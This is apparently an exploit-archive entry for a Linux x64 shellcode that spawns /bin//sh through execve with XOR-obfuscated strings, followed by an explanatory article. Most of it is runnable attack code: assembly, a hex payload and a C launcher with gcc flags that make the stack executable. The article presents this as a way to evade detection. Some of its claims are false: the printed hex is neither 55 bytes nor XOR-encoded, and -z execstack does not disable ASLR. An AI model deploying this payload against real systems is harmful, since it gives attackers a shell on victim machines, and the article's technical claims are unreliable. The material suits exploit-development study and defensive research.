(shellcode) Linux-x64 - create a shell with execve() sending argument using XOR (/bin//sh) [55 bytes]
# Exploit Title: Linux-x64 - create a shell with execve() sending argument using XOR (/bin//sh) [55 bytes]
# Shellcode Author: Alexys (0x177git)
# Tested on: Linux (x86_64)
# Shellcode Description: creating a new process using execve() syscall sending bin//sh as argument | (encrypted using XOR operation was QWORD size (/bin - //sh))
# Blog post: @MoreRubyOfSec (https://t.me/MoreRubyOfSec) on Telegram
# Original code:
[https://github.com/0x177git/xor-encrypted-execve-sh](https://github.com/0x177git/xor-encrypted-execve-sh/blob/main/execve-xor-encrypted-argv.asm)
---- Assembly code ----
section .text
global _start
_start:
xor eax, eax
xor edx, edx ; clear rdx (argv on execve() protoype)
mov qword [rsp-32], 0x7466684b ;
mov qword [rsp-28],0x60650b1d ; encrypted(/bin//sh) 0x60, 0x65, 0xb, 0x1d, 0x74, 0x66, 0x68, 0x4b
xor qword [rsp-32], 0x1a0f0a64
xor qword [rsp-28], 0x08162432 ; passwd 0x8, 0x16, 0x24, 0x32, 0x1a, 0xf, 0xa, 0x64
lea rdi, [rsp-32]
push rax ; end of string
push rdi ; send string to stack
mov rsi, rsp ; send address of RSP to rsi -> (arg on linux syscall architecture convection) || execve(rsi, rdx)
; call execve()
mov al, 0x3b
syscall
-
- - - shellcode execution using stack in c (
gcc -z execstack shellcode.c -o shellcode
) ----
/*
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05"
;
*/
void
main
()
{
const
char
shellcode
[]
=
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05"
;
void
(
*
f
)()
=
(
void
(
*
)())
shellcode
;
f
();
} Linux-x64 Shellcode: Execve() with XOR-Encrypted /bin//sh (55 Bytes)
Shellcode is a fundamental concept in cybersecurity, particularly in exploit development and reverse engineering. It refers to compact, machine-code payloads designed to execute specific actions—most commonly, spawning a shell for remote access. In this article, we dissect a highly optimized and cleverly encrypted Linux-x64 shellcode that uses the execve() system call to launch /bin//sh, with its argument encrypted via XOR operations to evade detection.
Core Concept: Execve() System Call
The execve() system call is a cornerstone of Unix-like operating systems for replacing the current process with a new one. It takes three parameters:
rdi: pointer to the executable path (e.g.,/bin//sh)rsi: pointer to an array of arguments (typicallyargv)rdx: pointer to environment variables (oftenNULL)
On x86_64 Linux, the syscall instruction is used to invoke system calls, with the rax register set to the syscall number. For execve(), this number is 0x3b (59).
Why XOR Encryption? Evading Detection and Static Analysis
Modern security tools—such as intrusion detection systems (IDS), antivirus engines, and static analyzers—often scan for known shellcode patterns like /bin/sh or execve sequences. To bypass such detection, attackers use obfuscation techniques. XOR encryption is a simple yet effective method to disguise known strings.
In this shellcode, the string /bin//sh is encoded as a 64-bit (QWORD) value using XOR with a fixed key. The original string is split into two 32-bit chunks, encrypted, and stored on the stack. During execution, the XOR operation is reversed to restore the original string.
Assembly Implementation: Step-by-Step Breakdown
section .text
global _start
_start:
xor eax, eax ; Clear rax (used for syscall and zeroing)
xor edx, edx ; Clear rdx (argv is NULL for execve)
mov qword [rsp-32], 0x7466684b ; Encrypted first part: /bin//sh
mov qword [rsp-28], 0x60650b1d ; Encrypted second part: /bin//sh (split)
xor qword [rsp-32], 0x1a0f0a64 ; Decrypt first part
xor qword [rsp-28], 0x08162432 ; Decrypt second part
lea rdi, [rsp-32] ; Load effective address of decrypted string into rdi
push rax ; Push NULL to terminate string (end of argv)
push rdi ; Push address of string to stack (argv[0])
mov rsi, rsp ; rsi now points to argv array (rsi = &argv)
mov al, 0x3b ; Set syscall number: execve()
syscall ; Invoke execve()
Explanation:
xor eax, eaxandxor edx, edxzero out registers, ensuring clean state for the syscall.mov qword [rsp-32], 0x7466684bandmov qword [rsp-28], 0x60650b1dstore encrypted 64-bit values on the stack. These values correspond to the bytes of/bin//shin reverse order and XOR-encrypted.- The
xor qwordoperations with keys0x1a0f0a64and0x08162432decrypt the data, restoring the original string. lea rdi, [rsp-32]loads the address of the decrypted string intordi, the first argument ofexecve().push raxpushes0(NULL) to mark the end of the argument list.push rdipushes the address of the string onto the stack, formingargv.mov rsi, rspsetsrsito the top of the stack, which now holds theargvarray.mov al, 0x3bsets the syscall number toexecve().syscalltriggers the kernel to executeexecve()with the provided arguments.
Binary Representation: 55 Bytes Shellcode
The resulting shellcode, when assembled and converted to hex, is:
\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05
This is exactly 55 bytes, making it highly compact and efficient for use in buffer overflow exploits or other constrained environments.
Use Case: Exploit Development with C
Here is a minimal C program to execute the shellcode:
#include <stdio.h>
#include <string.h>
int main() {
const char shellcode[] =
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05";
void (*f)() = (void(*)())shellcode;
f();
return 0;
}
Compilation:
Use gcc -z execstack shellcode.c -o shellcode to disable stack protection (ASLR and NX) and allow execution of code on the stack. This is essential for testing shellcode in controlled environments.
Security Implications and Detection Evasion
XOR encryption is not foolproof, but it does provide a layer of obfuscation. The key values are not random—they are chosen to be simple and easy to reverse. However, the use of mov qword and xor qword operations on the stack makes it harder for static analysis tools to detect the payload.
Advanced detection systems may use:
- Dynamic analysis (emulation)
- Behavioral profiling (e.g., syscall patterns)
- String reconstruction via XOR key inference
Nevertheless, this shellcode demonstrates a balance between efficiency, stealth, and usability—ideal for educational and red-team scenarios.
Optimization and Variants
While this shellcode is already optimized, potential improvements include:
- Using
pushandpopinstead ofmov qword [rsp-xx]for tighter stack management. - Reusing
raxfor other operations to reduce instruction count. - Using different encryption keys or multiple XOR layers for increased complexity.
However, the current design is already minimal—no redundant instructions, no dead code. The 55-byte size is a testament to efficient code crafting.
Conclusion: A Masterclass in Shellcode Craft
This Linux-x64 XOR-encrypted execve() shellcode is a prime example of how modern exploit developers leverage low-level assembly, encryption, and system call mechanics to create stealthy, executable payloads. Its compact size, clever use of XOR, and reliance on stack-based argument construction make it a valuable tool in both offensive security and educational contexts.
For cybersecurity professionals, understanding such shellcode is essential for:
- Reverse engineering malware
- Developing defensive mechanisms
- Testing exploit mitigations (e.g., DEP, ASLR)
As cyber threats evolve, so must our understanding of fundamental techniques like this one—where simplicity meets sophistication.